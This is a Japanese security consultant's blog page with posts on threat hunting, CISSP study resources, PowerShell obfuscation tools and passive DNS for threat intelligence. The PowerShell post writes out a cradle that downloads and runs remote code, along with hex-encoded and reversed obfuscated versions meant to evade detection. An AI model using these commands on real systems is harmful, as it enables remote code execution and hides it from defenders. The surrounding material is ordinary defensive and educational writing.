セキュリティコンサルタントの日誌から

セキュリティに関するエッセイなど

Threat Hunting for Dummiesを読んでみた!!

カンファレンスでもらった"Threat Hunting for Dummies"を積読していたのですが、時間ができたので読んで見たのでメモをまとめます。EDRで有名なCarbon Black社が書いているので、クオリティも十分でした。

www.carbonblack.com

Threat Huntingの定義と目的

Threat Huntingについて、以下の用に定義されています。

Threat hunting is, quite simply, the pursuit of abnormal activity on servers and endpoints that may be signs of compromise, intrusion, or exfiltration of data.


Threat Huntingとは、サーバとエンドポイントにおいて、不正アクセス、侵入、データ漏洩等の兆候を示す不審な挙動の追跡を意味する。 

Threat Huntingは、決して新しいコンセプトではないと言われていますが、基本的には能動的に攻撃の痕跡、インシデントの兆候を見つけにいくプロセスを意味します。

セキュリティオペレーションの第一歩は、セキュリティ機器を導入して提供する検知メカニズム(シグニチャ)で検知・対応することが第一ステップとなります。しかし、攻撃手法も高度化し、マルウェアの回避手法(Evasion Technique)も日々洗練しているため、特に最新の攻撃手法が登場した時点では検知メカニズムに組み込まれておらず、検知できないという問題が挙げられます。

また、Ponemon Instituteのレポート『2015 Cost of data breach: Global』によれば悪意のある攻撃による情報漏洩インシデントの検知にかかる平均日数は256日と発表しており、そんなに待っていられないという観点もあります。(Threat Hunting for Dummiesでは、220日と書かれているのですが、出典が不明確なので別のレポートを引用しました)

Threat Huntingの特徴として、共存(IDS・DLPなど既存の検知メカニズムをうまく補う形で使うこと)、人間機械系(ツール・人間それぞれが得意な部分を活用すること)などを挙げています。

また、Huntingの結果として反映された兆候については、自社内のSecurity Operation Team内で共有され、シグニチャ化され、自動化プロセスに組み込まれるため、同じ事象を二回ハンティングすることはないというかなり研究に近いプロセスだと思われます。

The Carbon Black Hunt Chain

Carbon Black Hunt Chainは、Carbon Black社において開発されたThreat Huntingのプロセスのことです。

f:id:security_consultant:20171208020737p:plain

まとめると、大きく4つのフェーズに分類されています。

  • Starting & Refining the Hunt
    ログから正当なアクテビティを取り除き怪しい挙動を絞り込む。その後さらに追加調査を行い、攻撃の痕跡か判定する。
  • Discovery
    攻撃を確認したら、根本原因を分析する。(インシデント対応プロセスの一部でもあるので、引き継ぐ方法もあります。)
  • Response
    攻撃のインパクトを調査した上で、インシデント対応(封じ込め、マルウェアの除去など)を行う。
  • Update Defense
    発見した事象からIoCを作成し、各種セキュリティ機器にカスタムシグニチャを追加したり問題の修正を行う。

では、具体的にどのようにその兆候を見つけるかという点については、基本的にはデータ分析が基本になると思います。アプローチとして、UEBA(User Entity Behavior Analytics) などといったキーワードがありますが、個人的にはData Driven Securityという概念が重要になると思います。また、以下の本は面白かったので推奨します。 

Data-Driven Security: Analysis, Visualization and Dashboards

Data-Driven Security: Analysis, Visualization and Dashboards

 

この本は積読リストに入れていますが、同じような内容ではないかと推測しています。 

Network Security Through Data Analysis: From Data to Action

Network Security Through Data Analysis: From Data to Action

 

有効なThreat Huntingのすすめ

Threat Huntingをする上で、以下の10つのTipが紹介されています。

  1. 自分の環境を深く知ること
  2. 攻撃者の目線で考えること
  3. OODAループを意識すること
  4. ハンティングに十分なリソース(人材・ツール・基盤)を投入すること
  5. エンドポイント全てに対してセンサーを展開すること
  6. ネットワークデータを利用して、エンドポイント分析を支援すること
  7. ITチームと協調的に活動すること
  8. ハンティングプロセス・結果を記録すること
  9. セキュリティスキルを常に向上させること
  10. 攻撃トレンドを正確に抑えること

このTips群は多くの示唆を含んでいると思います。

例えば、「自分の環境を深く知ること」で言えば、自社のネットワークはもちろんのこと、攻撃者が狙う重要資産はどこに配置されているのか、さらにはOSやソフトウェアのノーマルな挙動とアブノーマルな挙動を正確に把握しておく必要があります。また、自社のインシデント対応プロセスやハンティングに使うツールになれておくことも必須です。

ほかにも、「攻撃者の目線で考えること」という部分では、Red Teamの経験などがあると望ましいと思います。個人的には、Red・Blue両方を知るPurple人材こそこういったThreat Huntingをやるべきだと考えていますが、経験がない場合でもCyber Threat Intelligenceを活用してトレンドを押させておくことは重要となります。

また、「ハンティングに十分なリソース(人材・ツール・基盤)を投入すること」も重要です。本書では、「最初は1週間に2時間ほどThreat Huntingに専念する時間を設けるべき」と述べていますが、それを支えるのはエンドポイント・サーバ・ネットワークの可視化であり、大量のログを分析するためのSIEMのような統合分析プラットフォームです。

まとめ

今回は、Threat Huntingのレポートをまとめてみましたが、Threat Huntingは方法論はある程度このレポートで確立されていると感じています。良い教材ですので読んでみると良いと思います。

CISSPの勉強方法

CISSP(Certified Information Systems Security Professional)という試験は、セキュリティの経験と全般的な知識を持っていることを示す資格です。一般的かつセキュリティと重要な資格である一方、独学用の勉強リソースはあまり多くないと言わざるを得ません。また、CISSPのセミナーはかなり高額であるため、あまり気軽に参加できるものではありません。

ふと知り合いに聞かれたので、自分の経験を踏まえ変えてみたいと思います。

Shon Harrisシリーズ

個人的にはShon Harris女史の著作をお勧めしています。米国滞在時でもかなりバイブル的な存在として名前が挙がる著作でした。私は、問題集のほうを中心にやりましたが、教科書もかなり良い出来だと思います。 

CISSP All-in-One Exam Guide, Seventh Edition

CISSP All-in-One Exam Guide, Seventh Edition

 
CISSP Practice Exams, Fourth Edition

CISSP Practice Exams, Fourth Edition

 

 ただ、最大の欠点は著者のShon Harrisが既にお亡くなりになっていることです。もちろん彼女の意思を引き継いで今後も更新版が出ると思いますが、資料が少ない中体系的な著作を作り出した著者の不在は大きな意味があるかも知れません。

Shon Harris - Wikipedia

その他の著作

ほかの著作は使ったことがないのでわかりませんが、他の人のブログを見て以下の著作はよいのではないかと思いました。

www.itsecad-blog.com

 

このガイドを見ると、著者がSANSで有名なEric Conradなどが著者を務めていることです。SANSの講師は教え方がわかりやすいことで有名ですし、その名に恥じぬ著書になっているのではないかと期待しています。

CISSP Study Guide

CISSP Study Guide

 

オンライン・コース

オンラインコースも勉強する上ではひとつの手段だと思います。最近では、LinkedInやUdemyなどでも提供されています。動画で勉強したいという方にはこちらも試してみてはいかがでしょうか。(受けたことがないので、質は定かではないですが。)

最後に

海外では、CISSPホルダーは、セキュリティの全般的知識を持っていることを示す免許のような役割を持っていると感じるシーンも多くありましたので、ぜひ興味がある方は取得されることをお勧めします。

PowerShellの難読化について

PowerShellは、Post-Exploitationプロセスで非常に良く使われます。例えば、以下のコマンドを実行するとリモートにあるファイルを取得してその内容を実行してくれます。

Invoke-Expression (New-Object Net.WebClient).DownloadString("http://bit.ly/L3g1t") 

PowerShellの難読化技法については様々な研究がされており、いくつかツールが存在します。今回はそれを紹介します。

Invoke-Obfuscation

Invoke-Obfuscationは、任意のPowerShellコマンドを難読化してくれるツールです。

github.com

GitHubに記載されている通り、インストールします。

起動すると以下のような画面になります。

f:id:security_consultant:20171113221627p:plain

 

Tutorialコマンドをたたくと以下のように使い方を教えてくれます。

f:id:security_consultant:20171113221703p:plain

以下に、簡単な使い方を記載します。

SET SCRIPTBLOCK (PowerShell)

SET SCRIPTBLOCK Invoke-Expression (New-Object Net.WebClient).DownloadString("http://bit.ly/L3g1t")

その後、オプションを選択すると自動的に暗号化されます。

f:id:security_consultant:20171113222243p:plain

例えば、[ ENCODING ] - [2] (Hex)を選ぶと以下のような出力になります。

(修正前)

Invoke-Expression (New-Object Net.WebClient).DownloadString("http://bit.ly/L3g1t")

(修正後)

IeX(('49J6em76Y6fm6bT65Y2d%45m78m70!72%65T73;73!69m6fm6eJ2
0Y28%4eT65J77T2d;4f!62p6aT65Y63!74%20!4ep65p74J2ep57p65Y62!
43!6c;69J65m6e%74;29Y2em44T6f!77p6eT6cJ6fm61;64J53T74!72m69
%6e;67p28%22T68T74m74%70Y3am2fY2fY62;69%74Y2eY6c%79%2f;
4c;33J67%31%74Y22Y29' -sPlIT 'p'-spliT 'm'-SPlIT';' -SpLit '%' -SPliT'T'
-SplIt'!' -spLiT'J'-SpLIT'Y'|%{ ([cONvErT]::TOInT16(( [sTRINg]$_), 16 ) -
AS [chAr])})-JoiN'')

 

ほかにも、[ STRING ] - [3] (Reverse)を選ぶと以下のような出力になります。

(修正前)

Invoke-Expression (New-Object Net.WebClient).DownloadString("http://bit.ly/L3g1t")

(修正後)

Set-VAriAble khB6 (" )''nIOj-'x'+]3,1[)(gnIrTSot.ecNerEFerpeSobreV$ (.| )
63]rAHCgnIrTs[,)56]rAHC[+58]rAHC[+401]rAHC[((ecaLPEr.)'|','rAE'(ecaL
PEr.)93]rAHC
gnIrTs[,)55]rAHC[+001]rAHC[+65]rAHC[((ecaLPEr.)')7d87d
8NioJ-)}'+')]rAhc'+'['+' SA'+'- ) 61'+' ,)'+'_AU'+'h'+']gNIRT'+'s'+'[ (('+'61TnIO
T:'+':]TrEvNOc[( {%rAE7d'+'8Y7d8TIL'+'pS-7d8J'+'7d8'+'T'+'iLp'+'s- 7d8!7
d8tIlpS- 7d8T7'+'d8TilPS- 7d8%7'+'d8 '+'ti'+'LpS- 7'+'d'+'8;7d8'+'T'+'IlPS-
'+'7'+'d8'+'m'+'7d8 '+'Til'+'p'+'s-'+'7d8p7d8 TI'+'lPs- 7d'+'89'+'2Y'+'2'+'2'+'
Y47'+'%13%76J33;'+'c4;f'+'2%97%c6Ye'+'2'+'Y47%96;'+'2'+'6Yf2Yf2'+'ma
'+'3'+'Y07%47'+'m47T8'+'6'+'T22%82p76;e'+'6%96'+'m'+'2'+'7'+'!47'+'T35J
46;16mf6J'+'c6'+'T'+'e6p77!'+'f6T4'+'4me'+'2Y92;47%'+'e6m56J96;c6'+'!34
'+'!26Y56p75p'+'e2J4'+'7p'+'56pe4'+'!02%47'+'!'+'36Y56Ta6'+'p26!f4;d'+'2
T77J5'+'6Te'+'4%82Y'+'02Je6mf6m96!37'+';'+'37T5'+'6%2'+'7!07m87m54
%d2Y56Tb6mf6'+'Y67me6J947d8 ((XeI '( " ) ; [StrInG]::JOIN( '' , ( cHiLDit
EM vaRIablE:Khb6 ).valUe[-1 ..- ( ( cHiLDitEM vaRIablE:Khb6 ).valUe.len
GTH)])| &( $sHEllId[1]+$shELLid[13]+'X')

 

さらに、TEST / EXECというコマンドを打てばローカルで実行実験ができたりと非常に面白いツールです。

資料は、以下にあります。(PDF)

www.youtube.com

Invoke-CradleCrafter

Invoke-CradleCrafterは、リモートからダウンロードする際の形式の難読化に特化したツールです。使い方は同じですが、目的が特化されている分難読化の手法が増えている野で、ダウンロードする際にはコチラを利用したほうが良いかも知れません。

github.com

難読化の検知

上記のツールを作っているDaniel Bohannon氏ですが、もともとはRed Teamの検証およびBlue Teamの検証用が目的としています。その後、彼はRevoke-Obfuscationという検知用用ツールも開発しています。(Revoke-Obfuscation @ BlackHat)

github.com

最後に

ペネトレーションテストを実施する際には、検知をどのようにかいくぐるEvasion Techniqueが重要になります。ペネトレーションテストのプロセスを高度化する意味でも、本ツールを活用することを推奨します。

Cyber Threat IntelligenceとDNSデータ

Cyber Threat IntelligenceやThreat Actor Attributionの観点では、悪性ドメイン(C2ドメイン)は足が速い(すぐに変わる)のでDNSデータ分析は重要な要素となります。

例えば、マルウェア解析チームにより特定のC2通信を発生させていたと報告してきたとします。その際に、そのDNSの接続先はどこなのか、そのC2ドメインを設定した人物は誰なのか、その攻撃者の意図を分析するThreat Actor Attributionなどでも、DNS情報の分析は行います。今回は、そのThreat Intelligenceの観点から見るDNSデータについて解説します。

Active vs. Passive

Cyber Threat Intelligenceの観点では、DNS情報としては、現在最新のデータより、過去のデータに価値があります。なぜなら、インシデント分析をしているときには悪用されていたドメインは既に捨てられていたり、内容が変わっているためです。

その観点から、DNSデータはActiveとPassiveの二種類のデータ収集方法があります。

Active DNS Data

Active DNS Dataとは、DNSデータをクローリングしてDNSデータの変更を全て蓄積しておき、特定ドメインにおけるIPアドレスとの連関性の履歴や登録者情報を蓄積していく方法です。これを自分でやることは難しく、一般的には専門のサービスを使うことになります。一番良く知られているのはDomain Toolsと呼ばれるサービスでこの分野では一般的です。彼らは、数多くのDNSデータを蓄積しており、ちょっとした変更も全て履歴として蓄積されており、過去の時点でどんな登録者情報でどんなIPと紐付いていたかなどその仔細を明らかにしてくれます。

Passive DNS Data

Passive DNSとは、Cyber Threat Intelligenceの文脈でよく聞く単語です。一言でいえば、DNS名前解決の履歴を蓄積したデータセットのことです。これは、自社で蓄積することもできますし、自社で蓄積すればどんな通信が行われていたか把握することができます。実際、Cyber Threat Intelligenceのプラットフォームで有名なThreatConnect社のResearch Operation DirectorのToni Gidwani女史は、このツールのことを「インフラストラクチャ全体を過去にさかのぼって見渡すことができるため、研究者にとっては非常に強力なツールだ*1」と評しています。

ちなみに、Passive DNSデータを提供している企業もあり、一例としてFarsight Security社のDNSDBが挙げられます。ただ使い方としては先ほど紹介したDomain Toolsに似た使い方になるのではないかと思います。

 

ちなみに、Passive DNSについて詳しく知りたい場合はこの辺の資料が参考になると思います。

まとめ

Cyber Threat Intelligenceの観点では、過去のDNSデータは非常に重要となります。Passive DNSについてはきちんと蓄積しておくと、色々と分析も捗りそうという印象を受けます。

ちなみに、CTIの文脈でたまに聞くこのサービスでCymonというのがありますが、事後検証のためメモしておきます。

cymon.io

*1:This is a really powerful tool for researchers because it gives you the ability to take a retrospective look at what is happening across infrastructure.